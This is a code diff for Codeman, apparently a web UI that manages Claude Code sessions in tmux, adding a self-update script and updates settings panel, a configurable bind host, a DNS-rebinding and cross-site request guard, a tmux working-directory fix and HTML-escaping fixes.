+    if (process.env.TO_TAG) s.toTag = process.env.TO_TAG;
+    if (process.env.PREV_SHA) s.prevSha = process.env.PREV_SHA;
+    s.stashRef = process.env.STASH_REF || null;
+    if (process.env.SUPERVISOR) s.supervisor = process.env.SUPERVISOR;
+    if (process.env.ERROR) s.error = process.env.ERROR;
+    if (process.env.MANUAL_CMD) s.manualRestartCommand = process.env.MANUAL_CMD;
+    const tmp = f + ".tmp-" + process.pid;
+    fs.writeFileSync(tmp, JSON.stringify(s, null, 2));
+    fs.renameSync(tmp, f);
+  ' || echo "[self-update] WARN: status write failed ($phase)"
+}
+
+# Run a slow step with a heartbeat so the status file (and the UI polling it) keeps
+# moving instead of looking frozen during npm install / build. Every few seconds it
+# refreshes the status with the latest output line, and mirrors full output to the
+# log. Returns the wrapped command's exit code.
+run_step() {
+  local phase="$1" base="$2"; shift 2
+  local step_log; step_log="$(mktemp "${TMPDIR:-/tmp}/codeman-update.XXXXXX" 2>/dev/null || echo "/tmp/codeman-update.$$")"
+  write_status "$phase" "$base…"
+  echo "[self-update] $phase: $* (output below)"
+  "$@" >"$step_log" 2>&1 &
+  local pid=$! start=$SECONDS last_line=""
+  while kill -0 "$pid" 2>/dev/null; do
+    sleep 3
+    local line
+    line="$(tr -d '\r' <"$step_log" 2>/dev/null | grep -aE '[^[:space:]]' | tail -n 1 | cut -c1-100)"
+    [[ -n "$line" && "$line" != "$last_line" ]] && last_line="$line"
+    if [[ -n "$last_line" ]]; then
+      write_status "$phase" "$base… · $last_line"
+    else
+      write_status "$phase" "$base… (working)"
+    fi
+  done
+  wait "$pid"; local rc=$?
+  echo "[self-update] $phase finished in $((SECONDS - start))s (rc=$rc)"
+  cat "$step_log" >>"$LOG" 2>/dev/null || true
+  rm -f "$step_log" 2>/dev/null || true
+  return $rc
+}
+
+fail() {
+  local msg="$1" err="${2:-}"
+  echo "[self-update] FAILED: $msg ($err)"
+  write_status "failed" "$msg" "$err"
+  exit 1
+}
+
+# Restore the previous commit + working build so the still-running server keeps
+# serving good code. We do NOT restart on failure.
+rollback_and_fail() {
+  local msg="$1"
+  echo "[self-update] $msg — rolling back to ${PREV_SHA:-<none>}"
+  if [[ -n "$PREV_SHA" ]]; then
+    git checkout --force "$PREV_SHA" >/dev/null 2>&1 || true
+    npm install --no-fund --no-audit >/dev/null 2>&1 || true
+    npm run build >/dev/null 2>&1 || true
+  fi
+  fail "$msg — rolled back to the previous version" "$msg"
+}
+
+cd "$REPO" || fail "Install directory not found" "cd $REPO"
+git rev-parse --git-dir >/dev/null 2>&1 || fail "Not a git repository" "$REPO"
+
+write_status "preparing" "Preparing update to v$TO_VERSION…"
+
+# 1) Stash local changes (left for the user to pop — never auto-popped).
+if [[ "$DO_STASH" == "1" ]]; then
+  write_status "stashing" "Stashing local changes…"
+  STASH_MSG="codeman-pre-update-$UPDATE_ID"
+  if git stash push -u -m "$STASH_MSG" >/dev/null 2>&1; then
+    STASH_REF="$STASH_MSG"
+    echo "[self-update] stashed local changes as $STASH_MSG"
+  fi
+fi
+
+# 2) Fetch the target tag.
+write_status "fetching" "Fetching $TAG…"
+git fetch --tags --force origin "refs/tags/$TAG:refs/tags/$TAG" 2>/dev/null \
+  || git fetch --tags --force origin \
+  || fail "Could not fetch the release" "git fetch $TAG"
+
+# 3) Check out the release tag (detached HEAD at the release).
+write_status "checkout" "Checking out $TAG…"
+git -c advice.detachedHead=false checkout --force "$TAG" || rollback_and_fail "Could not check out $TAG"
+
+# 4) Install dependencies (heartbeat keeps the UI live during this slow step).
+run_step "installing" "Installing dependencies" npm install --no-fund --no-audit \
+  || rollback_and_fail "Dependency install failed"
+
+# 5) Build (gate the restart on success — never restart into a torn dist/).
+run_step "building" "Building" npm run build || rollback_and_fail "Build failed"
+
+# 6) Restart the service so the new code loads. Write the terminal pre-restart
+#    marker FIRST so the freshly-booted server can reconcile it deterministically.
+write_status "restarting" "Restarting Codeman…"
+echo "[self-update] build OK, restarting via $SUPERVISOR"
+
+case "$SUPERVISOR" in
+  systemd)
+    systemctl --user restart codeman-web.service \
+      || fail "Build succeeded but restart failed — run: systemctl --user restart codeman-web" "systemctl restart"
+    ;;
+  launchd)
+    launchctl kickstart -k "gui/$(id -u)/com.codeman.web" 2>/dev/null || {
+      PLIST="$HOME/Library/LaunchAgents/com.codeman.web.plist"
+      launchctl unload "$PLIST" 2>/dev/null || true
+      launchctl load "$PLIST" 2>/dev/null \
+        || fail "Build succeeded but launchd restart failed" "launchctl"
+    }
+    ;;
+  *)
+    MANUAL_CMD="pkill -f 'codeman.*web'; codeman web &"
+    write_status "completed-needs-manual-restart" "Update staged — restart Codeman to apply v$TO_VERSION."
+    echo "[self-update] no supervisor — manual restart required"
+    exit 0
+    ;;
+esac
+
+echo "[self-update] restart issued; done"
+exit 0

scripts/span-codeman.sh

@@ -16,6 +16,18 @@
 # per-display and will NOT span. We size a windowed app to the union of all
 # displays instead. macOS only.
 #
+# ── REMOTE CLIENT (Codeman server on another machine) ────────────────────────
+# The header "multi-monitor" button spawns this script SERVER-SIDE, so it opens
+# the window on the SERVER's displays and is gated to a macOS server. If your
+# Codeman runs elsewhere (e.g. a headless Linux box reached over Tailscale) and
+# YOUR monitors are on a Mac, the button can't help — the server can't open a
+# window on your machine. Instead, run this script LOCALLY on the Mac and pass
+# the remote URL as the argument:
+#   ./span-codeman.sh "https://your-codeman.example.ts.net"
+# The osascript/browser launch all happen on the Mac; only the page is served
+# remotely, so the spanning window lands on your monitors. The "separate Spaces"
+# prerequisite above still applies on the Mac.
+#
 set -euo pipefail
 
 URL="${1:-http://localhost:5000}"

src/cli.ts

@@ -483,21 +483,29 @@ program
 program
   .command('web')
   .description('Start the web interface')
+  .option('-H, --host <host>', 'Host to bind to', process.env.CODEMAN_HOST || '127.0.0.1')
   .option('-p, --port <port>', 'Port to listen on (env: CODEMAN_PORT)', process.env.CODEMAN_PORT || '3000')
   .option('--https', 'Enable HTTPS with self-signed certificate (only needed for remote access, not localhost)')
   .option('--title-hostname <hostname>', 'Override the hostname shown in the browser title')
+  .option(
+    '--allow-unauthenticated-network',
+    'Allow non-loopback web access without CODEMAN_PASSWORD (dangerous; terminal control is exposed)'
+  )
   .action(async (options) => {
     const { startWebServer } = await import('./web/server.js');
+    const host = options.host;
     const port = parseInt(options.port, 10);
     const https = !!options.https;
     const titleHostname = options.titleHostname;
+    const allowUnauthenticatedNetwork = !!options.allowUnauthenticatedNetwork;
     const protocol = https ? 'https' : 'http';
+    const displayHost = host === '0.0.0.0' ? 'localhost' : host;
 
-    console.log(chalk.cyan(`Starting Codeman web interface on port ${port}${https ? ' (HTTPS)' : ''}...`));
+    console.log(chalk.cyan(`Starting Codeman web interface on ${displayHost}:${port}${https ? ' (HTTPS)' : ''}...`));
 
     try {
-      const server = await startWebServer(port, https, false, titleHostname);
-      console.log(chalk.green(`\n✓ Web interface running at ${protocol}://localhost:${port}`));
+      const server = await startWebServer(port, https, false, host, titleHostname, allowUnauthenticatedNetwork);
+      console.log(chalk.green(`\n✓ Web interface running at ${protocol}://${displayHost}:${port}`));
       if (https) {
         console.log(chalk.yellow('  Note: Accept the self-signed certificate in your browser on first visit'));
       }

src/tmux-manager.ts

@@ -73,6 +73,9 @@ const GRACEFUL_SHUTDOWN_WAIT_MS = 100;
 /** Default stats collection interval (2 seconds) */
 const DEFAULT_STATS_INTERVAL_MS = 2000;
 
+/** Stable cwd for tmux server/pane launch; actual session cwd is reached inside the pane. */
+const TMUX_LAUNCH_CWD = '/tmp';
+
 /** Claude Code native macOS recommendation for avoiding low nofile startup failures. */
 export const CLAUDE_CODE_NOFILE_LIMIT = 2147483646;
 
@@ -679,8 +682,10 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       // (Production uses systemd which has a clean env, but dev/test may be nested.)
       const cleanEnv = { ...process.env };
       delete cleanEnv.TMUX;
-      execSync(`${this.tmux()} new-session -ds "${muxName}" -c "${workingDir}"`, {
-        cwd: workingDir,
+      // Start the tmux server from a stable local cwd so FUSE/rclone workspace
+      // blips do not poison tmux's long-lived getcwd state.
+      execSync(`${this.tmux()} new-session -ds "${muxName}" -c ${TMUX_LAUNCH_CWD}`, {
+        cwd: TMUX_LAUNCH_CWD,
         timeout: EXEC_TIMEOUT_MS,
         stdio: 'ignore',
         env: cleanEnv,
@@ -706,11 +711,16 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       // so secret values stay off the bash command line. Must run before respawn-pane.
       this.applyEnvOverrides(muxName, envOverrides);
 
-      // Replace the shell with the actual command (no echo in terminal)
-      execSync(`${this.tmux()} respawn-pane -k -t "${muxName}" bash -c ${JSON.stringify(fullCmd)}`, {
-        timeout: EXEC_TIMEOUT_MS,
-        stdio: 'ignore',
-      });
+      // Replace the shell with the actual command (no echo in terminal). Keep
+      // pane launch in /tmp, then cd inside bash against the current mount table.
+      const launchCmd = `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
+      execSync(
+        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
+        {
+          timeout: EXEC_TIMEOUT_MS,
+          stdio: 'ignore',
+        }
+      );
 
       // Wait for tmux session to be queryable
       await new Promise((resolve) => setTimeout(resolve, TMUX_CREATION_WAIT_MS));
@@ -890,9 +900,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       // Re-apply user env overrides before respawn so the new shell inherits them.
       this.applyEnvOverrides(muxName, envOverrides);
 
-      await execAsync(`${this.tmux()} respawn-pane -k -t "${muxName}" bash -c ${JSON.stringify(fullCmd)}`, {
-        timeout: EXEC_TIMEOUT_MS,
-      });
+      const launchCmd = `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
+      await execAsync(
+        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
+        {
+          timeout: EXEC_TIMEOUT_MS,
+        }
+      );
       // Wait for the respawned process to start
       await new Promise((resolve) => setTimeout(resolve, TMUX_CREATION_WAIT_MS));
       const pid = this.getPanePid(muxName);

src/types/index.ts

@@ -66,3 +66,4 @@ export * from './teams.js';
 export * from './push.js';
 export * from './plan.js';
 export * from './orchestrator.js';
+export * from './update.js';

src/types/update.ts

@@ -0,0 +1,96 @@
+/**
+ * @fileoverview Types for the in-app self-updater.
+ *
+ * Codeman can update itself from the web UI (App Settings → Updates). The flow
+ * is driven by a detached `scripts/self-update.sh` that outlives the service
+ * restart it triggers, and a status file at `~/.codeman/update-status.json`
+ * (see `dataPath('update-status.json')`) that the browser polls across the
+ * restart boundary.
+ *
+ * Backend logic: `src/web/self-update.ts`. Routes: `src/web/routes/system-routes.ts`
+ * (`/api/system/update/check`, `POST /api/system/update`, `/api/system/update/status`).
+ *
+ * @module types/update
+ */
+
+/** Which init system supervises the running server (decides how we restart it). */
+export type SupervisorKind = 'systemd' | 'launchd' | 'none';
+
+/** How Codeman was installed — only `git` installs can self-update in place. */
+export type InstallKind = 'git' | 'npm' | 'unknown';
+
+/**
+ * Lifecycle of a single update run. `idle`/`completed`/`failed`/
+ * `completed-needs-manual-restart` are terminal; the rest are in-flight.
+ */
+export type UpdatePhase =
+  | 'idle'
+  | 'queued'
+  | 'preparing'
+  | 'stashing'
+  | 'fetching'
+  | 'checkout'
+  | 'installing'
+  | 'building'
+  | 'restarting'
+  | 'completed'
+  | 'completed-needs-manual-restart'
+  | 'failed';
+
+/** Persisted update progress, written atomically by the updater + boot reconcile. */
+export interface UpdateStatus {
+  /** Nonce identifying this run; guards boot-reconcile against stale/foreign status. */
+  updateId: string;
+  phase: UpdatePhase;
+  /** Human-readable one-liner for the UI. */
+  message: string;
+  /** Version the server was on when the update started. */
+  fromVersion: string;
+  /** Target version (parsed from the release tag). */
+  toVersion?: string;
+  /** Target git tag, e.g. `codeman@0.9.4`. */
+  toTag?: string;
+  /** Commit the repo was on before the update, for rollback. */
+  prevSha?: string;
+  /** Name of the stash holding local changes (when the tree was dirty), else null. */
+  stashRef?: string | null;
+  supervisor?: SupervisorKind;
+  /** epoch ms — update start (freshness guard for boot reconcile). */
+  startedAt: number;
+  /** epoch ms — last write. */
+  updatedAt: number;
+  /** Populated on failure. */
+  error?: string;
+  /** Shown for the `none` supervisor — the command the user must run by hand. */
+  manualRestartCommand?: string;
+}
+
+/** Describes the running install — drives whether/how the Updates UI is shown. */
+export interface InstallInfo {
+  installKind: InstallKind;
+  installDir: string;
+  /** Current git branch, or `HEAD` when detached (e.g. pinned to a release tag). */
+  branch?: string;
+  /** Uncommitted local changes present (true → updater will auto-stash). */
+  dirty: boolean;
+  supervisor: SupervisorKind;
+  currentVersion: string;
+  /** False when `CODEMAN_DISABLE_SELF_UPDATE=1`. */
+  selfUpdateEnabled: boolean;
+}
+
+/** Result of "check for updates" — current vs. latest release. */
+export interface UpdateCheckResult {
+  currentVersion: string;
+  latestVersion: string | null;
+  latestTag: string | null;
+  updateAvailable: boolean;
+  /** Release notes (markdown) when available from the GitHub API. */
+  notes?: string | null;
+  /** Link to the release page. */
+  htmlUrl?: string | null;
+  /** epoch ms of the check. */
+  checkedAt: number;
+  source: 'github-api' | 'git-ls-remote' | 'none';
+  error?: string;
+}

src/web/middleware/auth.ts

@@ -8,10 +8,11 @@
  * - CORS (localhost only)
  */
 
-import { FastifyInstance } from 'fastify';
+import type { FastifyInstance, FastifyReply } from 'fastify';
 import { randomBytes, timingSafeEqual } from 'node:crypto';
 import { StaleExpirationMap } from '../../utils/index.js';
 import type { AuthSessionRecord } from '../ports/auth-port.js';
+import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
 import {
   AUTH_SESSION_TTL_MS,
   MAX_AUTH_SESSIONS,
@@ -69,6 +70,13 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
   const authSessions = state.authSessions;
   const authFailures = state.authFailures;
 
+  function sendAuthRateLimit(reply: FastifyReply, clientIp: string): void {
+    const remainingMs = authFailures.getRemainingTtl(clientIp) ?? AUTH_FAILURE_WINDOW_MS;
+    const retryAfterSeconds = Math.max(1, Math.ceil(remainingMs / 1000));
+    reply.header('Retry-After', String(retryAfterSeconds));
+    reply.code(429).send('Too Many Requests — try again later');
+  }
+
   app.addHook('onRequest', (req, reply, done) => {
     // Hook events come from local Claude Code hooks (curl from localhost) — no auth headers available.
     // Safe: validated by HookEventSchema, only triggers broadcasts.
@@ -90,13 +98,6 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
 
     const clientIp = req.ip;
 
-    // Rate limit: reject if too many failed attempts from this IP
-    const failures = authFailures.get(clientIp) ?? 0;
-    if (failures >= AUTH_FAILURE_MAX) {
-      reply.code(429).send('Too Many Requests — try again later');
-      return;
-    }
-
     // Check session cookie first (avoids re-sending credentials on every request)
     // Use get() instead of has() so refreshOnGet extends the TTL on active sessions
     const sessionToken = req.cookies[AUTH_COOKIE_NAME];
@@ -140,6 +141,13 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
       return;
     }
 
+    // Rate limit only requests that failed to authenticate on this attempt.
+    const failures = authFailures.get(clientIp) ?? 0;
+    if (failures >= AUTH_FAILURE_MAX) {
+      sendAuthRateLimit(reply, clientIp);
+      return;
+    }
+
     // Auth failed — track failure count
     authFailures.set(clientIp, failures + 1);
 
@@ -150,6 +158,40 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
   return state;
 }
 
+/** Methods that don't change server state and so skip the cross-site Origin check. */
+const SAFE_HTTP_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
+
+/**
+ * Register the anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard.
+ *
+ * This protects the API even on the default no-password install, where there is no
+ * cookie/credential to gate on. It must be registered BEFORE the auth middleware so
+ * forged cross-site or DNS-rebound requests are rejected up front. `getPolicy` is
+ * evaluated per request so a tunnel started at runtime is reflected immediately.
+ *
+ * - Every request: the `Host` header must be in the allowlist (blocks DNS rebinding,
+ *   where a custom domain is rebound to 127.0.0.1 but still sends its own name).
+ * - State-changing methods: the `Origin` (when the client sends one — i.e. a browser)
+ *   must be same-site (blocks cross-site CSRF, including the text/plain simple-request
+ *   trick). Non-browser clients (curl, Claude Code hooks) omit Origin and pass.
+ *
+ * WebSocket upgrades are validated separately in the ws route handler.
+ */
+export function registerHostGuard(app: FastifyInstance, getPolicy: () => HostPolicy): void {
+  app.addHook('onRequest', (req, reply, done) => {
+    const policy = getPolicy();
+    if (!isAllowedRequestHost(req.headers.host, policy)) {
+      reply.code(403).send('Forbidden: host not allowed');
+      return;
+    }
+    if (!SAFE_HTTP_METHODS.has(req.method) && !isAllowedRequestOrigin(req.headers.origin, policy)) {
+      reply.code(403).send('Forbidden: cross-site request blocked');
+      return;
+    }
+    done();
+  });
+}
+
 /**
  * Register security headers and CORS middleware on every response.
  */

src/web/network-auth-policy.ts

@@ -0,0 +1,130 @@
+import { isIP } from 'node:net';
+
+const EXPLICIT_TRUE_VALUES = new Set(['1', 'true', 'yes', 'on']);
+
+export function isExplicitlyEnabled(value: string | undefined): boolean {
+  return value !== undefined && EXPLICIT_TRUE_VALUES.has(value.trim().toLowerCase());
+}
+
+export function isLoopbackBindHost(host: string): boolean {
+  const normalized = host
+    .trim()
+    .toLowerCase()
+    .replace(/^\[(.*)\]$/, '$1');
+  if (normalized === 'localhost' || normalized === '::1' || normalized === '0:0:0:0:0:0:0:1') {
+    return true;
+  }
+  if (isIP(normalized) === 4 && normalized.startsWith('127.')) {
+    return true;
+  }
+  return normalized.startsWith('::ffff:127.');
+}
+
+/**
+ * Hostname suffixes that are always accepted by the Host/Origin allowlist. These
+ * are namespaces an external attacker cannot register DNS-rebinding records under
+ * (tailscale MagicDNS, Cloudflare quick/named tunnels), so accepting them keeps
+ * the project's documented tunnel access paths working without reopening the
+ * rebinding hole. Extend per-deployment via CODEMAN_ALLOWED_HOSTS.
+ */
+export const DEFAULT_TRUSTED_HOST_SUFFIXES = ['.ts.net', '.trycloudflare.com', '.cfargotunnel.com'];
+
+/** Policy inputs for the anti-DNS-rebinding Host allowlist + cross-site Origin guard. */
+export interface HostPolicy {
+  /** The host the server is bound to (e.g. '127.0.0.1', '0.0.0.0', or a hostname). */
+  bindHost: string;
+  /** Extra allowed hosts: exact lowercased names, or a leading-dot '.suffix' for suffix matches. */
+  allowedHosts: string[];
+  /** Hostname of the currently-active Codeman-managed tunnel, if any. */
+  tunnelHost?: string | null;
+}
+
+/**
+ * Extract the lowercased hostname from a Host/authority value, stripping the port
+ * and IPv6 brackets. Returns null for empty/garbage input.
+ */
+export function parseAuthorityHostname(authority: string | undefined): string | null {
+  if (!authority) return null;
+  let h = authority.trim();
+  if (!h) return null;
+  if (h.startsWith('[')) {
+    // [::1] or [::1]:3000
+    const end = h.indexOf(']');
+    if (end === -1) return null;
+    return h.slice(1, end).toLowerCase() || null;
+  }
+  // host:port — only treat a single trailing colon as a port separator so a
+  // bracketless IPv6 literal (multiple colons) is left intact.
+  const first = h.indexOf(':');
+  if (first !== -1 && first === h.lastIndexOf(':')) {
+    h = h.slice(0, first);
+  }
+  return h.toLowerCase() || null;
+}
+
+/** Build a HostPolicy from the bind host, CODEMAN_ALLOWED_HOSTS, and an active tunnel URL. */
+export function buildHostPolicy(bindHost: string, tunnelUrl?: string | null): HostPolicy {
+  const allowedHosts = (process.env.CODEMAN_ALLOWED_HOSTS || '')
+    .split(',')
+    .map((s) => s.trim().toLowerCase())
+    .filter(Boolean);
+  let tunnelHost: string | null = null;
+  if (tunnelUrl) {
+    try {
+      tunnelHost = new URL(tunnelUrl).hostname.toLowerCase();
+    } catch {
+      tunnelHost = null;
+    }
+  }
+  return { bindHost, allowedHosts, tunnelHost };
+}
+
+function matchesHost(hostname: string, policy: HostPolicy): boolean {
+  // localhost is reserved (always resolves to loopback, not rebindable).
+  if (hostname === 'localhost') return true;
+  // Any IP literal: a literal address cannot be the target of DNS rebinding — the
+  // browser connected straight to it, there is no name to re-point.
+  if (isIP(hostname) !== 0) return true;
+  const bind = parseAuthorityHostname(policy.bindHost);
+  if (bind && hostname === bind) return true;
+  if (policy.tunnelHost && hostname === policy.tunnelHost) return true;
+  for (const suffix of DEFAULT_TRUSTED_HOST_SUFFIXES) {
+    if (hostname === suffix.slice(1) || hostname.endsWith(suffix)) return true;
+  }
+  for (const entry of policy.allowedHosts) {
+    if (entry.startsWith('.')) {
+      if (hostname === entry.slice(1) || hostname.endsWith(entry)) return true;
+    } else if (hostname === entry) {
+      return true;
+    }
+  }
+  return false;
+}
+
+/**
+ * True if a request's Host header is allowed. Blocks DNS-rebinding: a custom
+ * domain rebound to a loopback/LAN address still carries its own name in Host,
+ * which will not be in the allowlist.
+ */
+export function isAllowedRequestHost(hostHeader: string | undefined, policy: HostPolicy): boolean {
+  const hostname = parseAuthorityHostname(hostHeader);
+  if (!hostname) return false;
+  return matchesHost(hostname, policy);
+}
+
+/**
+ * True if a request's Origin is allowed for a state-changing / WebSocket request.
+ * A MISSING Origin is allowed: non-browser clients (curl, Claude Code hooks) omit
+ * it, while browsers always attach it on cross-origin state-changing/WS requests —
+ * so a forged cross-site request is caught while local automation keeps working.
+ * The opaque origin 'null' (sandboxed iframe, data: URL) is rejected.
+ */
+export function isAllowedRequestOrigin(originHeader: string | undefined, policy: HostPolicy): boolean {
+  if (originHeader === undefined || originHeader === '') return true;
+  if (originHeader === 'null') return false;
+  try {
+    return matchesHost(new URL(originHeader).hostname.toLowerCase(), policy);
+  } catch {
+    return false;
+  }
+}

src/web/public/app.js

@@ -1366,7 +1366,7 @@ class CodemanApp {
     const placeholders = [];
     const masked = text.replace(fenceRe, (m) => {
       placeholders.push(m);
-      return `FENCE${placeholders.length - 1}`;
+      return `__CODEMAN_FENCE_${placeholders.length - 1}__`;
     });
 
     // Split on blank-line paragraph boundaries; wrap any paragraph containing
@@ -1376,13 +1376,13 @@ class CodemanApp {
       .map((chunk) => {
         if (/^\n{2,}$/.test(chunk)) return chunk; // keep separators
         if (!chunk.trim()) return chunk;
-        if (chunk.includes('FENCE')) return chunk;
+        if (chunk.includes('__CODEMAN_FENCE_')) return chunk;
         if (BOX_PATTERN.test(chunk)) return '\n```\n' + chunk + '\n```\n';
         return chunk;
       })
       .join('');
 
-    return processed.replace(/FENCE(\d+)/g, (_m, i) => placeholders[Number(i)]);
+    return processed.replace(/__CODEMAN_FENCE_(\d+)__/g, (_m, i) => placeholders[Number(i)]);
   }
 
   /** Render markdown to sanitized HTML, falling back to plain text if marked.js unavailable */

src/web/public/constants.js

@@ -10,7 +10,7 @@
  * @globals {function} scheduleBackground - scheduler.postTask wrapper (background priority)
  * @globals {function} getEventCoords - Unified mouse/touch coordinate extractor
  * @globals {function} escapeHtml - XSS-safe HTML escaping
- * @globals {object} SSE_EVENTS - Centralized SSE event type constants (~73 event types)
+ * @globals {object} SSE_EVENTS - Centralized SSE event type constants (120 event types; must match backend src/web/sse-events.ts)
  * @globals {Array} BUILTIN_RESPAWN_PRESETS - Built-in respawn configuration presets
  *
  * @dependency None (first in load order)
@@ -241,27 +241,45 @@ const SSE_EVENTS = {
   SESSION_IDLE: 'session:idle',
   SESSION_WORKING: 'session:working',
   SESSION_AUTO_CLEAR: 'session:autoClear',
+  SESSION_AUTO_COMPACT: 'session:autoCompact',
   SESSION_CLI_INFO: 'session:cliInfo',
+  SESSION_MESSAGE: 'session:message',
+  SESSION_INTERACTIVE: 'session:interactive',
+  SESSION_RUNNING: 'session:running',
 
   // Scheduled runs
   SCHEDULED_CREATED: 'scheduled:created',
   SCHEDULED_UPDATED: 'scheduled:updated',
   SCHEDULED_COMPLETED: 'scheduled:completed',
   SCHEDULED_STOPPED: 'scheduled:stopped',
+  SCHEDULED_LOG: 'scheduled:log',
+  SCHEDULED_DELETED: 'scheduled:deleted',
 
   // Respawn
   RESPAWN_STARTED: 'respawn:started',
   RESPAWN_STOPPED: 'respawn:stopped',
   RESPAWN_STATE_CHANGED: 'respawn:stateChanged',
   RESPAWN_CYCLE_STARTED: 'respawn:cycleStarted',
+  RESPAWN_CYCLE_COMPLETED: 'respawn:cycleCompleted',
   RESPAWN_BLOCKED: 'respawn:blocked',
-  RESPAWN_AUTO_ACCEPT_SENT: 'respawn:autoAcceptSent',
+  RESPAWN_STEP_SENT: 'respawn:stepSent',
+  RESPAWN_STEP_COMPLETED: 'respawn:stepCompleted',
   RESPAWN_DETECTION_UPDATE: 'respawn:detectionUpdate',
+  RESPAWN_AUTO_ACCEPT_SENT: 'respawn:autoAcceptSent',
+  RESPAWN_AI_CHECK_STARTED: 'respawn:aiCheckStarted',
+  RESPAWN_AI_CHECK_COMPLETED: 'respawn:aiCheckCompleted',
+  RESPAWN_AI_CHECK_FAILED: 'respawn:aiCheckFailed',
+  RESPAWN_AI_CHECK_COOLDOWN: 'respawn:aiCheckCooldown',
+  RESPAWN_PLAN_CHECK_STARTED: 'respawn:planCheckStarted',
+  RESPAWN_PLAN_CHECK_COMPLETED: 'respawn:planCheckCompleted',
+  RESPAWN_PLAN_CHECK_FAILED: 'respawn:planCheckFailed',
   RESPAWN_TIMER_STARTED: 'respawn:timerStarted',
   RESPAWN_TIMER_CANCELLED: 'respawn:timerCancelled',
   RESPAWN_TIMER_COMPLETED: 'respawn:timerCompleted',
-  RESPAWN_ERROR: 'respawn:error',
   RESPAWN_ACTION_LOG: 'respawn:actionLog',
+  RESPAWN_LOG: 'respawn:log',
+  RESPAWN_ERROR: 'respawn:error',
+  RESPAWN_CONFIG_UPDATED: 'respawn:configUpdated',
 
   // Tasks
   TASK_CREATED: 'task:created',
@@ -288,6 +306,12 @@ const SSE_EVENTS = {
   SESSION_BASH_TOOL_END: 'session:bashToolEnd',
   SESSION_BASH_TOOLS_UPDATE: 'session:bashToolsUpdate',
 
+  // Session: Plan
+  SESSION_PLAN_TASK_UPDATE: 'session:planTaskUpdate',
+  SESSION_PLAN_CHECKPOINT: 'session:planCheckpoint',
+  SESSION_PLAN_ROLLBACK: 'session:planRollback',
+  SESSION_PLAN_TASK_ADDED: 'session:planTaskAdded',
+
   // Hooks (Claude Code hook events)
   HOOK_IDLE_PROMPT: 'hook:idle_prompt',
   HOOK_PERMISSION_PROMPT: 'hook:permission_prompt',
@@ -338,6 +362,18 @@ const SSE_EVENTS = {
   ORCHESTRATOR_COMPLETED: 'orchestrator:completed',
   ORCHESTRATOR_ERROR: 'orchestrator:error',
 
+  // Teams (agent teams)
+  TEAM_CREATED: 'team:created',
+  TEAM_UPDATED: 'team:updated',
+  TEAM_REMOVED: 'team:removed',
+  TEAM_TASK_UPDATED: 'team:taskUpdated',
+
+  // Transcript
+  TRANSCRIPT_COMPLETE: 'transcript:complete',
+  TRANSCRIPT_PLAN_MODE: 'transcript:plan_mode',
+  TRANSCRIPT_TOOL_START: 'transcript:tool_start',
+  TRANSCRIPT_TOOL_END: 'transcript:tool_end',
+
   // Clipboard
   CLIPBOARD_WRITE: 'clipboard:write',
 

src/web/public/index.html

@@ -1078,6 +1078,24 @@
                 <span id="tunnelUploadUrlDisplay" class="settings-item-value" style="cursor:pointer; text-decoration:underline; font-family:monospace; font-size:12px" title="Click to copy"></span>
               </div>
 
+              <!-- Updates Section -->
+              <div class="settings-section-header">Updates</div>
+              <div class="settings-item" title="Codeman version currently running">
+                <span class="settings-item-label">Current Version</span>
+                <span class="settings-item-value" id="updateCurrentVersion" style="font-family:monospace">&mdash;</span>
+              </div>
+              <div class="settings-item" id="updateCheckRow" title="Check GitHub for a newer Codeman release">
+                <span class="settings-item-label">Check for Updates</span>
+                <button class="btn-toolbar btn-sm" id="updateCheckBtn" onclick="app.checkForUpdate()">Check now</button>
+              </div>
+              <div id="updateResult" style="display:none; padding:4px 2px 8px; font-size:13px; color:var(--text-secondary)"></div>
+              <div class="settings-item" id="updateActionRow" style="display:none">
+                <span class="settings-item-label" id="updateActionLabel">Update available</span>
+                <button class="btn-toolbar btn-sm btn-primary" id="updateNowBtn" onclick="app.startSelfUpdate()">Update now</button>
+              </div>
+              <div id="updateNotes" style="display:none; max-height:160px; overflow:auto; padding:8px 10px; margin:4px 0 8px; font-size:12px; line-height:1.45; white-space:pre-wrap; word-break:break-word; background:rgba(127,127,127,0.08); border:1px solid var(--border); border-radius:6px"></div>
+              <div id="updateProgress" style="display:none; padding:8px 10px; margin:4px 0 8px; font-size:13px; border:1px solid var(--border); border-radius:6px"></div>
+
             </div>
           </div>
           <!-- Tab-Switch Tab -->

src/web/public/panels-ui.js

@@ -802,13 +802,13 @@ Object.assign(CodemanApp.prototype, {
       const time = new Date(a.timestamp).toLocaleTimeString('en-US', { hour12: false });
       if (a.type === 'tool') {
         const toolDetail = this.getToolDetailExpanded(a.tool, a.input, a.fullInput, a.toolUseId);
-        return `<div class="subagent-activity tool" data-tool-use-id="${a.toolUseId || ''}">
+        return `<div class="subagent-activity tool" data-tool-use-id="${escapeHtml(a.toolUseId || '')}">
           <span class="time">${time}</span>
           <span class="icon">${this.getToolIcon(a.tool)}</span>
-          <span class="name">${a.tool}</span>
-          <span class="detail">${toolDetail.primary}</span>
+          <span class="name">${escapeHtml(a.tool)}</span>
+          <span class="detail">${escapeHtml(toolDetail.primary)}</span>
           ${toolDetail.hasMore ? `<button class="tool-expand-btn" onclick="app.toggleToolParams('${escapeHtml(a.toolUseId)}')">▶</button>` : ''}
-          ${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${a.toolUseId}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
